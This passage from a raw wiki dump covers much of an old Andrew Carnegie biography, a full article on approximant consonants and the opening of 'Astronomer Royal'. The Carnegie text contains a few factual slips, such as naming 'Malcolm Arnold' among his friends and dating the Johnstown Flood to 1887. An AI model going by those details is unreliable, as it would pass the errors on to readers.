During the pre-war period, Andrew Carnegie had formed a partnership with a Mr. Woodruff, an inventor.  Woodruff's invention was the [[sleeping car]].  The great distances transversed by railways had meant stopping for the night at hotels and inns by the railside, so that passengers could rest.  The sleeping car sped up travel and helped Americans settle the American west.  The investment proved a great success and a source of great fortune for Woodruff and Carnegie.  The young Carnegie, who started work at an early age as a [[bobbin boy]] in a [[cotton]] mill, and, who was, a few years later, engaged as a [[Telegraphy|telegraph]] clerk and operator with the [[Atlantic and Ohio Company]], now became the superintendent of the western division of the entire line.  In this post, Carnegie was responsible for several improvements in the service.  When the [[American Civil War]] opened in 1861, he accompanied Scott, then [[Assistant United States Secretary of War]], to the front.

Following his good fortune, Carnegie proceeded to increase it still further through fortunate and careful investments.  In 1864, Carnegie invested the sum of $40,000 in Storey Farm on [[Venango County, Pennsylvania|Oil Creek, in Venango County, Pennsylvania]].  In one year, the farm yielded over $1,000,000 in cash dividends, and oil from [[oil well]]s on the property sold profitably.  Carnegie was subsequently associated with others in establishing a [[steel]] [[rolling mill]].

Aside from Carnegie's investment successes, he was beginning to figure prominently in the American cause and in American culture.  With the Civil War raging, Carnegie soon found himself in Washington.  Carnegie was selected by his boss at the Pennsylvania Railroad Company, Thomas A. Scott, who was now Assistant Secretary of War in charge of military transportation, to join him in Washington.  Carnegie was appointed Superintendent of the Military Railways and the Union Government's telegraph lines in the East and was Scott's right hand man.  Carnegie, himself, was on the foot plate of the locomotive that pulled the first brigade of Union troops to reach Washington. Shortly after this, following the defeat of Union forces at Bull Run, he personally supervised the transportation of the defeated forces.  Under his organization, the telegraph service rendered efficient service to the Union cause and significantly assisted in the eventual victory.  During his work &quot;in the field&quot;, Carnegie fell ill and needed treatment for sunstroke.

The Civil War, as so many wars before it, brought boom times to the suppliers of war.  The U.S. iron industry was one such.  Before the war its production was of little significance, but the sudden huge demand brought boom times to Pittsburgh and similar cities and great wealth to the iron masters. 

Carnegie had some investments in this industry before the war and, after the war, left the railroads to devote all his energies to the ironworks trade.  Carnegie worked to develop several iron works, eventually forming The Keystone Bridge Works and the Union Ironworks, in Pittsburgh. Although he had left the Pennsylvania Railroad Company, he did not totally sever his links with the railroads.  These links would prove valuable.  The Keystone Bridge Company made iron train bridges, and, as company superintendent, Carnegie had noticed the weakness of the traditional wooden structures.  These were replaced in large numbers with iron bridges made in his works.  As well as having good business sense, Carnegie possessed charm and literary knowledge.  He was invited to many important  social functions, functions that Carnegie exploited to his own advantage and to the fullest extent. 

Carnegie’s philanthropic inclinations began some time before retirement.  He wrote; &quot;I propose to take an income no greater than $50,000 per annum! Beyond this I need ever earn, make no effort to increase my fortune, but spend the surplus each year for benevolent purposes!  Let us cast aside business forever, except for others.  Let us settle in Oxford and I shall get a thorough education, making the acquaintance of literary men.  I figure that this will take three years active work.  I shall pay especial attention to speaking in public.  We can settle in London and I can purchase a controlling interest in some newspaper or live review and give the general management of it attention, taking part in public matters, especially those connected with education and improvement of the poorer classes.  Man must have an idol and the amassing of wealth is one of the worst species of idolatry!  No idol is more debasing than the worship of money!  Whatever I engage in I must push inordinately; therefore should I be careful to choose that life which will be the most elevating in its character.  To continue much longer overwhelmed by business cares and with most of my thoughts wholly upon the way to make more money in the shortest time, must degrade me beyond hope of permanent recovery.  I will resign business at thirty-five, but during these ensuing two years I wish to spend the afternoons in receiving instruction and in reading systematically!&quot; 

Carnegie postponed most of his philanthropic intentions to &quot;proper old age&quot;.

===Postwar years, 1865-1880: Carnegie the investor===
In the late 1860’s and into the 1870s, Carnegie was &quot;out and about and all over the place&quot;.  Carnegie now had new investments aside from the iron venture, the [[Keystone Bridge Company]].  Carnegie had added to his investments in Pennsylvania oil investments in [[Texas]], which earned him a small fortune, and, after the war, undertook several trips to [[Europe]] selling railroad securities on a commission basis for, among others, the London firm of [[Junius S. Morgan &amp; Company]].  The last of these trips was in 1872, the commission earned being $150,000.  Andrew Carnegie's multiple successes in bond selling, oil trading, and bridge building were so rapidly successful that the conservative Pittsburgh business community regarded him with a certain circumspection.  It was during these trips to Europe and to Britain, in particular, that Carnegie came into contact with British steel makers, then the world leaders.  He obtained a working knowledge of the [[Bessemer process]] of steel making and became a friend of its inventor, Sir [[Henry Bessemer]]. 

In 1868, he introduced the Bessemer steel making process into the U.S.A. and, in 1873, decided on a now famous gamble. He decided to &quot;put all his eggs in one basket, and then watch the basket.&quot;  That year he staked all his wealth on steel making.  His fellow Americans did not realize it at the time, but the day Carnegie decided to take this gamble was the day the eventual industrial supremacy of the U.S. became certain. It took Andrew Carnegie only a matter of a few years to become the principal owner of the [[Homestead &amp; Edgar Thompson Steel Works]], and only a short time more to be heading the firms of [[Carnegie, Phipps &amp; Company]] and[[ Carnegie Bros. &amp; Company]], as well.

===1880-1890: Carnegie the scholar and activist===
Whilst Carnegie continued his business career, some of his literary intentions were fulfilled.  During this time, he made many friends in the literary and political worlds.  Among these were such as [[Malcolm Arnold]] and [[Herbert Spencer]] as well as being in correspondence and acquaintance with most of the U.S. Presidents, statesmen, and notable writers of the time.  Many were visitors to the Carnegie home.  Carnegie greatly admired [[Herbert Spencer]], the polymath who seemed to know everything.  He did not, however, agree with Spencer's [[Social Darwinism]] which held that philanthropy was a bad idea. 
 
In 1881, Andrew Carnegie took his family, which included his mother, then aged 70, on a trip to Great Britain. They toured the sights of [[England]] and [[Scotland]] by coach having several receptions en-route.  The highlight for them all was a triumphal return to Dunfermline where Carnegie's mother laid the foundation stone of the &quot;Carnegie Library&quot;.  Andrew Carnegie's criticism of British society did not point to a dislike of the country of his birth, on the contrary, one of Carnegie's ambitions was to act as a catalyst for a close association between the English speaking peoples.  To this end, he purchased, in the first part of the 1880's, a number of newspapers in England, all of which were to advocate the abolition of the monarchy and the establishment of &quot;the British Republic&quot;.  Surprisingly, Carnegie's charm aided by his great wealth meant that he had many British friends, including [[Prime Minister]] [[William Ewart Gladstone|Gladstone]]. 

In 1886, tragedy struck Carnegie when his young brother Thomas died at the early age of 43.  Success in the business continued, however.  At the same time as owning steel works, Carnegie had purchased, at low cost, the most valuable of the iron ore fields around Lake Superior.  The same year Andrew Carnegie became a figure of controversy.  Following his tour of Great Britain, he wrote about his experiences in a book entitled, ''An American Four-in-hand in Britain''.  Although still actively involved in running his many businesses, Carnegie had become a regular contributor of articles to numerous serious minded magazines, most notably the ''Nineteenth Century'', under the editorship of [[James Knowles]], and the ''North American Review'', whose editor, [[Lloyd Bryce]], oversaw the publication during its most influential period.

That year, 1886, Carnegie penned his most radical work to date, entitled ''Triumphant Democracy''.  The work, liberal in its use of statistics to make its arguments, was an attempt to argue his view that the American [[republic]]an system of government was superior to the British [[monarchy|monarchical]] system.  It not only gave a overly-favourable and idealistic view of American progress, but made some considerable criticism of the British royal family.  Most antagonistic, however, was the cover that depicted amongst other motifs, an upended royal crown and a broken sceptre.  Given these aspects, it was no surprise that the book was the cause of some considerable controversy in Great Britain.  The book itself was successful.  It made many Americans aware for the first time of their country's economic progress and sold over 40,000 copies, mostly in the U.S.A. 

In 1889, Carnegie stirred up yet another hornet's nest when an article entitled [http://www.swarthmore.edu/SocSci/rbannis1/AIH19th/Carnegie.html &quot;Wealth&quot; appeared in the June issue of the ''North American Review''.]  After reading it, Gladstone requested its publication in England, and it appeared under a new title, &quot;The Gospel of Wealth&quot; in the ''Pall Mall Gazette''.  The article itself was the subject of much discussion.  In the article, the author argued that the life of a wealthy industrialist such as Carnegie should comprise two parts.  The first part was the gathering and the accumulation of wealth. The second part was to be used for the subsequent distribution of this wealth to benevolent causes.

==Carnegie the industrialist==
===1885-1900: Building an empire of steel===
[[Image:Steelmills.jpg|right|thumb|300px|A steel mill owned by Andrew Carnegie in Pittsburgh, PA]]
But all this was only a preliminary to the success attending his development of the [[iron]] and [[steel]] industries at [[Pittsburgh, Pennsylvania]].  Carnegie made his fortune in the steel industry, controlling the most extensive integrated iron and steel operations ever owned by an individual in the United States. His great innovation was in the cheap and efficient mass production of steel rails for railroad lines. 

In the late 1880s, Carnegie Steel was the largest manufacturer of [[pig iron|pig-iron]], [[steel-rails]], and [[coke (fuel)|coke]] in the world, with a capacity to produce approximately 2,000 tons of [[pig metal|pig-metal]] a day. In 1888, he bought the rival [[Homestead Steel Works]], which included an extensive plant served by tributary coal and iron fields, a railway 425 miles long, and a line of lake steamships.  An agglutination of the assets of he and his associates occurred in 1892 with the launching of the [[Carnegie Steel Company]].  

By 1889, the U.S. output of steel exceeded that of the U.K., and Andrew Carnegie owned a large part of it.  Carnegie had risen to the heights he had by being a supreme organiser and judge of men.  He had the talent of being able to surround himself with able and effective men, while, at the same time, retaining the control and the direction of the enterprise.  Carnegie's businesses were uniquely organised in that his belief in &quot;democratic principles&quot; found itself interpreted into these businesses.  This did not mean that Carnegie was not in absolute control, however.  The businesses incorporated Carnegie's own version of profit sharing.  Carnegie wanted his employees to have a stake in the business, for he knew that they would work best if they saw that their own self interest was allied to the firm's.  As a result, men who had started as labourers in some cases, eventually ended up millionaires. Carnegie also often encouraged unfriendly competition between two of his workers and goaded them into outdoing one another. These rivalries became so important to some of the workers that they wouldn't talk to each other for years. Carnegie maintained control by incorporating his enterprises not as joint stock corporations but as limited partnerships with Carnegie as majority and controlling partner.  Not a cent of stock was publicly sold.  If a member died or retired, his stock was purchased at book value by the company.  Similarly, the other partners could vote to call in stock from those partners who underperformed, forcing them to resign. 

The internal organisation of his businesses was not the only reason for Andrew Carnegie's rise to pre-eminence.  Carnegie introduced the concept of counter-cyclical investment.  Carnegie's competitors, along with virtually every other business enterprise across the globe, pursued the conventional strategy of procyclical investment; manufacturers reinvesting profits in new capital in times of boom and high demand. Because demand is high, investment in bull markets is is more expensive. In response, Carnegie developed and implemented a secret tactic. He shifted the purchasing cycle of his companies to slump times, when business was depressed and prices low.  Carnegie observed that business cycles alternated between &quot;boom&quot; and &quot;bust&quot;.  He saw that if he capitalized during a slump, his costs would be lower and profits higher. During the years 1893 to 1897, there was a great slump in economic demand, and so Carnegie made his move.  At rock bottom prices, he upgraded his entire operation with the latest and most cost effective steel mills.  When demand picked up, prosperity followed for the Homestead &amp; Edgar Thompson Steel Works, the Carnegie, Phipps &amp; Company, and Carnegie Bros. &amp; Company as a flood tide of profit.  In 1900, the profits of Carnegie Bros. &amp; Company alone stood at $40,000,000 with $25,000,000 being Carnegie's share.

Carnegie's empire grew to include the [[J. Edgar Thomson Steel Works]], (named for [[John Edgar Thomson]], Carnegie's former boss and president of the Pennsylvania Railroad), Pittsburgh Bessemer Steel Works, the Lucy Furnaces, the Union Iron Mills, the Union Mill (Wilson, Walker &amp; County), the Keystone Bridge Works, the Hartman Steel Works, the Frick Coke Company, and the Scotia ore mines.  Also, Carnegie, through Keystone, supplied the steel for and owned shares in the landmark [[Eads Bridge]] project across the Mississippi River in [[St. Louis, Missouri]] (completed 1874).  This project was an important proof-of-concept for steel technology which marked the opening of a new steel market.

===1901: The formation of U.S. Steel===
Carnegie was now 65 and was wanting to retire.  He reformed his enterprises into conventional joint stock corporations as preparation to this end.  Carnegie, however, wanted a good price for his stock.  There was a man who was to give him his price.  This man was [[John Pierpont Morgan]]. 

Morgan was a banker and perhaps America's most important financial deal maker. He had observed how efficiency produced profit. He envisioned an integrated steel industry that would cut costs, lower prices to consumers and raise wages to workers. To this end he needed to buy out Carnegie and several other major producers, and integrate them all into one company by eliminating duplication and waste. Negotiations were concluded on 2nd March with the formation of the United States Steel Corporation.  It was the first corporation in the world with a market capitalization in excess of $1,000,000,000.

The buyout, which was negotiated in secret by [[Charles M. Schwab]] (no relation to [[Charles R. Schwab]], the brokerage house founder), was the largest such industrial takeover in [[United States]] history to date. The holdings were incorporated in the [[United States Steel Corporation]], a trust organized by [[J. P. Morgan]], and Carnegie himself retired from business. His steel enterprises were bought out at a figure equivalent to twelve times their annual earnings; $480 million [http://www.carnegie.org/sub/kids/legacy.html], which at the time was the largest ever personal commercial transaction. Andrew Carnegie's share of this amounted to a massive $225,639,000 which was paid to Carnegie in the form of 5%, 50 year gold bonds.  The letter agreeing to sell his share was signed on the 26th February, 1901.  On the 2nd March 1901, the circular formally filing the organisation and capitalisation (at $1,400,000,000 - 4% of U.S national wealth at the time) of the United States Steel Corporation actually completed the contract.  The bonds were to be delivered within two weeks to the Hudson Trust Company of Hoboken, New Jersey in trust to Robert A. Franks, Carnegie's business secretary.  There, a special vault was built to house the physical bulk of nearly $230,000,000 worth of bonds.  It was said that &quot;....Carnegie never wanted to see or touch these bonds that represented the fruition of his business career. It was as if he feared that if he looked upon them they might vanish like the gossamer gold of the leprechaun. Let them lie safe in a vault in New Jersey, safe from the New York tax assessors, until he was ready to dispose of them....&quot;

As they signed the papers of sale, Carnegie remarked, &quot;Well, Pierpont, I am now handing the burden over to you.&quot;  In return, Andrew Carnegie became one of the world's wealthiest men.  Retirement was a stage in life that many men dreaded.  Carnegie was not one of them.  He was looking forward to retirement, for it was his intention to follow a new course from then on.

Besides steel, Carnegie's companies were involved in other areas of the railroad industry.  His company, [[Pittsburgh Locomotive and Car Works]], was noted for its building of large [[steam locomotive]]s at the turn of the 20th century.  His associates and partners included [[Henry Clay Frick]] and [[F. T. F. Lovejoy]].

He owned 18 English [[newspapers]], which he controlled in the interests of [[radicalism]].

At the height of his career, he was the second richest person in the world, behind only [[John D. Rockefeller]].

==1901-1915: Carnegie the philanthropist==
Andrew Carnegie spent his last years as a [[philanthropist]].  From 1901 forward, public attention was turned from the shrewd business capacity which had enabled Carnegie to accumulate such a fortune, to the public-spirited way in which he devoted himself to utilizing it on philanthropic objects.  His views on social subjects and the responsibilities which great wealth involved were already known from ''Triumphant Democracy'' (1886), and from his &quot;[[Gospel of Wealth]]&quot; (1900).  He acquired [[Skibo Castle]], in [[Sutherland]], [[Scotland]], and made his home partly there and partly in New York and then devoted his life to the work of providing the capital for purposes of public interest and social and educational advancement. 

In all his ideas, he was dominated by an intense belief in the future and influence of the English-speaking people, in their democratic government and alliance for the purpose of peace and the abolition of war, and in the progress of education on nonsectarian lines.  He was a powerful supporter of the movement for [[spelling reform]] as a means of promoting the spread of the [[English language]].
[[Image:Carnegie-library-flint-mi.png|left|thumb|220px|Carnegie established over 1600 libraries in the U.S. alone.]]
Among all of his many philanthropic efforts, the establishment of [[public library|public libraries]] in the United States, the [[United Kingdom]], and in other English-speaking countries was especially prominent.  [[Carnegie library|Carnegie libraries]], as they were commonly called, sprang up on all sides.  The first of which was opened in 1883 in Dunfermline, Scotland.  His method was to build and equip, but only on condition that the local authority provided site and maintenance.  To secure local interest, in 1885, he gave $500,000 to Pittsburgh for a public library, and in 1886, he gave $250,000 to Allegheny City for a music hall and library, and $250,000 to Edinburgh, Scotland, for a free library. In total Carnegie funded some 3,000 libraries, located in every [[U.S. state]] except [[Alaska]], and [[Delaware]]. Carnegie also built libraries in [[Canada]] and overseas in [[United Kingdom|Britain]], [[Ireland]], [[Australia]], [[New Zealand]], the [[West Indies]], and [[Fiji]].

He gave $2 million in 1901 to start the [[Carnegie Institute of Technology]] (CIT) at [[Pittsburgh]] and the same amount in 1902 to found the [[Carnegie Institution]] at [[Washington, D.C.]].  He would later contribute more to these and other schools.  CIT is now part of [[Carnegie Mellon University]].

In Scotland, he gave $2 million in 1901 to establish a trust for providing funds for assisting education at the Scottish universities, a benefaction which resulted in his being elected [[Lord Rector]] of [[University of St. Andrews]].  He was a large benefactor of the [[Tuskegee Institute]] under [[Booker Washington]] for [[African American]] education.  He also established large pension funds in 1901 for his former employees at Homestead and, in 1905, for American college professors.  He also funded the construction of 7,000 church organs.
[[Image:Carnaigiebirthplace.jpg|thumb|Carnegie's birthplace in Scotland is now a museum.]]
Also, long before he sold out, in 1879, he erected commodious swimming-baths for the use of the people of his hometown of Dunfermline, Scotland.  In the following year, Carnegie gave $40,000 for the establishment of a free library in the same city.  In 1884, he gave $50,000 to [[Bellevue Hospital Medical College]] to found a [[histology|histological]] laboratory, now called the [[Carnegie Laboratory]].

He owned [[Carnegie Hall]] in [[New York City]] from its construction in 1890 until his widow sold it in 1924. 

He also founded the [[Carnegie Hero Fund]] commissions in America (1904) and in the United Kingdom (1908) for the recognition of deeds of heroism, contributed $500,000 in 1903 for the erection of a [[Peace Palace]] at [[The Hague]], and donated $150,000 for a [[Pan-American Palace]] in Washington as a home for the [[International Bureau of American Republics]].

By the rough and ready standards of 19th century tycoons, Carnegie was not a particularly ruthless man, but the contrast between his life and the lives of many of his own workers and of the poor, in general, was stark.  &quot;Maybe with the giving away of his money,&quot; commented biographer Joseph Wall, &quot;he would justify what he had done to get that money.&quot; [http://www.pbs.org/wgbh/amex/carnegie/filmmore/description.html]

By the time he died in [[Lenox, Massachusetts]], Carnegie had given away $350,695,653.  At his death, the last $30,000,000 was likewise given away to foundations, charities, and to pensioners. 

He is interred in [[Sleepy Hollow Cemetery]] in [[Sleepy Hollow, New York]].

==Later personal life==
In an era in which financial capital was consolidated in [[New York City]], Carnegie famously stayed aloof from the city, preferring to live near his factories in western [[Pennsylvania]] and at [[Skibo Castle]], [[Scotland]], which he bought and refurbished.  However, he also built (in 1901) and resided in a townhouse on [[New York City]]'s [[Fifth Avenue]] that later came to house [[Cooper-Hewitt]]'s [[National Design Museum]].

Carnegie married [[Louise Whitfield]] in 1887 and had one daughter, Margaret, who was born in 1897.  His brother, [[Thomas M. Carnegie]], also born in Dunfermline, Scotland, was born on [[October 2]], [[1843]].  He was associated with Andrew in his business enterprises, but died in [[Homewood, Pennsylvania]], on [[October 19]], [[1886]].

==Controversial aspects of Carnegie's life==
===1892: The Homestead strike===
[[Image:Homesteadstrike.jpg|thumb|right|The Homestead Strike]]
The [[Homestead Strike]] was a bloody labor confrontation lasting one-hundred and forty-three days in 1892 and was one of the most serious in the history of the United States. The conflict was situated around Carnegie Steel's main [[Homestead]], [[Pennsylvania]] plant and grew out of disputation between the National Amalgamated Association of Iron and Steel Workers of the United States and the Carnegie Steel Company.

Carnegie, who had cultivated a pro-labor image in his dealings with company mill workers, departed the country for a trip to his Scottish homeland before the unrest peaked.  In doing so, Carnegie left mediation of the dispute in the hands of his associate and partner [[Henry Clay Frick]].  Frick was well known in industrialist circles as maintaining staunch anti-union sensibilities.

The company had attempted to cut the wages of the skilled steel workers, and, when the workers refused the pay cut, management locked the union out (workers considered the stoppage a &quot;[[lockout (industry)|lockout]]&quot; by management and not a &quot;[[Strike action|strike]]&quot; by workers).  Frick brought in thousands of strikebreakers to work the steel mills and [[Pinkerton National Detective Agency|Pinkerton]] agents to safeguard them.

The arrival, on the [[July_6|6th of July]], of a force of three hundred [[Pinkerton National Detective Agency|Pinkerton]] agents from [[New York City]] and [[Chicago, Illinois|Chicago]] resulted in a fight in which ten men - seven strikers and three Pinkertons - were killed and hundreds were injured.  Pennsylvania Governor [[Robert Pattison]] discharged two brigades of the state militia to the strike site.  Then, allegedly in response to the fight between the striking workers and the Pinkertons, [[Anarchism|anarchist]] [[Alexander Berkman]] tried to kill Henry Clay Frick with a gun provided by [[Emma Goldman]].  However, [[Henry_Clay_Frick#Assassination_Attempt|Frick was only wounded]], and the attempt turned public opinion away from the striking workers.  Afterwards, the company successfully resumed operations with non-unionized immigrant employees in place of the Homestead plant workers, and Carnegie returned stateside.

Carnegie was one of over 50 wealthy members of the [[South Fork Fishing and Hunting Club]], which was blamed for the [[Johnstown Flood]] that killed over 2,200 people in 1887.

==Philosophy==
Carnegie wrote ''[[The Gospel of Wealth]]'', in which he stated his belief that the rich should use their wealth to help enrich society.

The following is taken from one of Carnegie's memos to himself: {{cquote|Man does not live by bread alone. I have known millionaires starving for lack of the nutriment which alone can sustain all that is human in man, and I know workmen, and many so-called poor men, who revel in luxuries beyond the power of those millionaires to reach. It is the mind that makes the body rich. There is no class so pitiably wretched as that which possesses money and nothing else. Money can only be the useful drudge of things immeasurably higher than itself. Exalted beyond this, as it sometimes is, it remains Caliban still and still plays the beast. My aspirations take a higher flight. Mine be it to have contributed to the enlightenment and the joys of the mind, to the things of the spirit, to all that tends to bring into the lives of the toilers of Pittsburgh sweetness and light. I hold this the noblest possible use of wealth.}}

Carnegie also believed that achievement of financial success could be reduced to a simple formula, which could be duplicated by the average person.  In 1908, he commissioned [[Napoleon Hill]], then a newspaper reporter, to interview over 500 millionaires to find out the common threads of their success.  Hill eventually became his adviser, and their work was published in 1928, after Carnegie's death, in Hill's book ''[[The Law of Success]]''.

==Writings==
Carnegie was a frequent contributor to periodicals on labour issues.

In addition to ''[[Triumphant Democracy]]'' (1886), ''[[Gospel of Wealth]]'' (1900) and ''[[The Law of Success]]'' (1928), other publications by him were ''An American Four-in-hand in Britain'' (1883), ''[[Round the World]]'' (1884), ''[[The Empire of Business]]'' (1902), a ''[[Life of James Watt]]'' (1905) and ''[[Problems of To-day]]'' (1908).

==Trivia==
* Various sources quote Carnegie's height at 5 feet (1.524 metre) 5 feet 1&quot; (1.549 metre) 5 feet 2&quot; (1.578 metre) or 5 feet 3&quot; (1.6 metre) - there is even one at 5 feet 6&quot; (1.676 metres) - but this must be considered as being incorrect - in other words; he was short.
* Two municipalities in the United States are named after Andrew Carnegie, the most famous being [[Carnegie, PA]]. The other is [[Carnegie, OK]].
* The dinosaur ''[[Diplodocus]] carnegiei'' (Hatcher) was named for Andrew Carnegie after he sponsored the expedition that discovered its remains in the [[Morrison Formation]] ([[Jurassic]]) of [[Utah]].  Carnegie was so proud of “Dippi” that he had casts made of the bones and plaster replicas of the whole skeleton donated to several museums in Europe.  The original fossil skeleton is assembled and stands in the Hall of Dinosaurs at the [[Carnegie Museum of Natural History]] in [[Pittsburgh, PA]].

==See also==
*[[American Anti-Imperialist League]], an organization to which Carnegie belonged
*[[Carnegie libraries image gallery]]
*[[Robber baron (industrialist)]]
*[[List of universities named after people]]

==References==
===Secondary sources===
* Josephson; Matthew. ''The Robber Barons: The Great American Capitalists, 1861- 1901'' (1938)
* Morris, Charles R. ''The Tycoons: How Andrew Carnegie, [[John D. Rockefeller]], [[Jay Gould]], and [[J. P. Morgan]] Invented the American Supereconomy '' 2005 ISBN: 0805075992
* Krass, Peter. ''Carnegie'' (2002)
* Livesay, Harold C. ''Andrew Carnegie and the Rise of Big Business'' 2nd Edition (1999)
* Wall, Joseph Frazier. ''Andrew Carnegie'' (1989)
* [http://www.eh.net/encyclopedia/article/Whaples.Carnegie Whaples, Robert. &quot;Andrew Carnegie&quot;] in EH encyclopedia

===Primary Sources===
* [http://www.wordowner.com/carnegie/preface.htm Carnegie, Andrew. ''Autobiography of Andrew Carnegie'' (1920)]
* [http://alpha.furman.edu/~benson/docs/carnegie.htm Carnegie, Andrew. &quot;Wealth&quot; (1888)]
* Wall, Joseph Frazier, ed. ''The Andrew Carnegie Reader'' (1992)

==External links==
*[http://www.pbs.org/wgbh/amex/carnegie/ PBS: Carnegie] 
*[http://www.americaslibrary.gov/cgi-bin/page.cgi/aa/carnegie LOC: Carnegie]
*[http://www.carnegie.org/ Carnegie Corporation of New York]
*[http://www.clpgh.org/exhibit/carnegie.html Carnegie Library of Pittsburgh: &lt;em&gt;Andrew Carnegie: A Tribute&lt;/em&gt;]
*[http://www.carnegiefoundation.org/ Carnegie Foundation for the Advancement of Teaching]
*[http://www.carnegiebirthplace.com/ Carnegie Birthplace Museum website]
*[http://homepage.ntlworld.com/g.blaikie/andrew.htm Andrew Carnegie - His Scottish Connections]
*[http://www.michaellorenzen.com/carnegie.html Deconstructing the Philanthropic Library]
*[http://onlinebooks.library.upenn.edu/webbin/book/search?author=carnegie%2C+andrew&amp;amode=start&amp;title=&amp;tmode=words Online Books by Andrew Carnegie]
* {{gutenberg author| id=Andrew+Carnegie | name=Andrew Carnegie}}
*[http://www.bgsu.edu/departments/acs/1890s/carnegie/strike.html The Homestead Strike 1892 by Cheri Goldner]
*[http://www.importantscots.com/andrew-carnegie.htm Andrew Carnegie - Important Scots]


*{{1911}}
*{{appletons}}

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[[bg:Андрю Карнеги]]
[[de:Andrew Carnegie]]
[[fr:Andrew Carnegie]]
[[lt:Endriu Karnegis]]
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[[zh:安德鲁·卡耐基]]</text>
    </revision>
  </page>
  <page>
    <title>Approximant consonant</title>
    <id>1939</id>
    <revision>
      <id>40018119</id>
      <timestamp>2006-02-17T15:03:51Z</timestamp>
      <contributor>
        <ip>69.253.251.251</ip>
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      <text xml:space="preserve">{{Manner_of_articulation}}

'''Approximants''' are speech sounds that could be regarded as intermediate between [[vowel]]s and typical [[consonant]]s. In the articulation of approximants, articulatory organs produce a narrowing of the vocal tract, but leave enough space for air to flow without much audible turbulence. Approximants are therefore more open than [[Fricative|fricatives]]. This class of sounds includes [[Lateral consonant|lateral]] approximants like {{IPA|[l]}}, as in ''lip'', and approximants like {{IPA|[j]}} and {{IPA|[w]}} in ''yes'' and ''well'' which correspond closely to [[vowel]]s and [[semivowel]]s. 

==Corresponding vowels==

[[palatal consonant|Palatal]] approximants correspond to [[front vowel]]s, [[velar consonant|velar]] approximants to [[back vowel]]s, and labialized approximants to [[rounded vowel]]s. They are typically briefer and closer than the corresponding vowels. 

==Approximants vs. fricatives==

When emphasized, approximants may be slightly fricated (that is, the airstream may become slightly turbulent), which is reminiscent of fricatives. Examples are the ''y'' of English ''yes!'' (especially when lengthened) and the &quot;weak&quot; [[allophones]] of [[Spanish pronunciation|Spanish]] ''b, d, g'', which are often transcribed as fricatives (often due perhaps to a lack of dedicated approximant symbols). However, such frication is generally slight and intermittant, unlike the strong turbulence of fricative consonants. 

This confusion is also common with voiceless approximants, which necessarily have a certain amount of fricative-like noise. For example, the voiceless labialized velar approximant {{IPA|[ʍ]}} has traditionally been called a fricative. [[Tibetan language|Tibetan]] has a voiceless lateral approximant, {{IPA|[l̥]}}, and [[Welsh language|Welsh]] has a voiceless lateral fricative {{IPA|[ɬ]}}, but the distinction is not always clear from descriptions of these languages. 

For places of articulation further back in the mouth, languages do not contrast voiced fricatives and approximants. Therefore the IPA allows the symbols for the voiced fricatives to double for the central approximants, with or without a lowering [[diacritic]]. 

Occasionally the glottal &quot;fricatives&quot; are called approximants, since [h] typically has no more frication than voiceless approximants, but they are often [[phonation]]s of the glottis without any accompanying manner or place of articulation. 

==Central approximants==

*[[bilabial approximant]] {{IPA|[β̞]}} (usually written {{IPA|&lt;β&gt;}})
*[[labiodental approximant]] {{IPA|[ʋ]}}
*[[dental approximant]] {{IPA|[ð̞]}} (usually written {{IPA|&lt;ð&gt;}})
*[[alveolar approximant]] {{IPA|[ɹ]}} (a consonantal {{IPA|[ɚ]}})
*[[retroflex approximant]] {{IPA|[ɻ]}}
*[[palatal approximant]] {{IPA|[j]}} (a consonantal {{IPA|[i]}})
*[[velar approximant]] {{IPA|[ɰ]}} (a consonantal {{IPA|[ɯ]}})
*[[uvular approximant]] {{IPA|[ʁ̞]}} (usually written {{IPA|&lt;ʁ&gt;}})
*[[pharyngeal approximant]] {{IPA|[ʕ̞]}} (usually written {{IPA|&lt;ʕ&gt;}})
*[[epiglottal approximant]] {{IPA|[ʢ̞]}} (usually written {{IPA|&lt;ʢ&gt;}})

==Lateral approximants==

*[[alveolar lateral approximant|voiced alveolar lateral approximant]] {{IPA|[l]}}
*[[voiceless alveolar lateral approximant]] {{IPA|[l̥]}}
*[[retroflex lateral approximant]] {{IPA|[ɭ]}}
*[[palatal lateral approximant]] {{IPA|[ʎ]}}
*[[velar lateral approximant]] {{IPA|[ʟ]}}

==Coarticulated approximants with dedicated IPA symbols==

*[[voiced labial-velar approximant|voiced labialized velar approximant]] {{IPA|[w]}} (a consonantal {{IPA|[u]}})
*[[voiceless labial-velar fricative|voiceless labialized velar approximant]] {{IPA|[ʍ]}} 
*[[labial-palatal approximant|labialized palatal approximant]] {{IPA|[ɥ]}} (a consonantal {{IPA|[y]}})
*[[velarized alveolar lateral approximant]] {{IPA|[ɫ]}}

==A &quot;central&quot; approximant?==
Although many languages have [[central vowel]]s {{IPA|[ɨ, ʉ]}} which lie between back/velar {{IPA|[ɯ, u]}} and front/palatal {{IPA|[i, y]}}, there are no confirmed reports of corresponding approximants. However, [[Mapudungun_language|Mapudungun]] may be a possibility: It has three high vowel sounds, {{IPA|/i/}}, {{IPA|/u/}}, {{IPA|/&amp;#616;/}}, written &quot;i&quot;, &quot;u&quot;, &quot;ü&quot;, and three corresponding consonants, written &quot;y&quot;, &quot;w&quot;, &quot;q&quot;. The first two are clearly {{IPA|/j/}} and {{IPA|/w/}}. The &quot;q&quot; is often described as a voiced unrounded velar fricative, but some texts note a correspondence between &quot;q&quot; and {{IPA|/&amp;#616;/ that is parallel to {{IPA|/j/}}-{{IPA|/i/}} and {{IPA|/w/}}-{{IPA|/u/}}. An example is ''liq'' {{IPA|/'liɣ/}} &quot;white&quot; [http://www.logosdictionary.org/sound/mp/5119539_n.wav].

==See also==
* [[List of phonetics topics]]
* [[Semivowel]]

{{consonants}}

[[Category:Consonants]]

[[de:Approximant]]
[[fr:Consonne spirante]]
[[ko:접근음]]
[[he:עיצורים מקורבים]]
[[ja:接近音]]
[[ro:Consoană sonantă]]
[[sv:Approximant]]</text>
    </revision>
  </page>
  <page>
    <title>Astronomer Royal</title>
    <id>1940</id>
    <revision>
      <id>31767055</id>
      <timestamp>2005-12-17T20:54:18Z</timestamp>
      <contributor>
        <username>Stoive</username>
        <id>262923</id>
      </contributor>
      <minor />
      <comment>[[WP:WS]] fixing wikisyntax</comment>
      <text xml:space="preserve">'''Astronomer Royal''' is a senior post in the [[Royal Household]] of the [[Monarch | Sovereign]] of the [[United Kingdom]]. There are two officers, the senior being the Astronomer Royal dating from [[22 June]] [[1675]], and the second the [[Astronomer Royal for Scotland]], which dates from [[1834]].

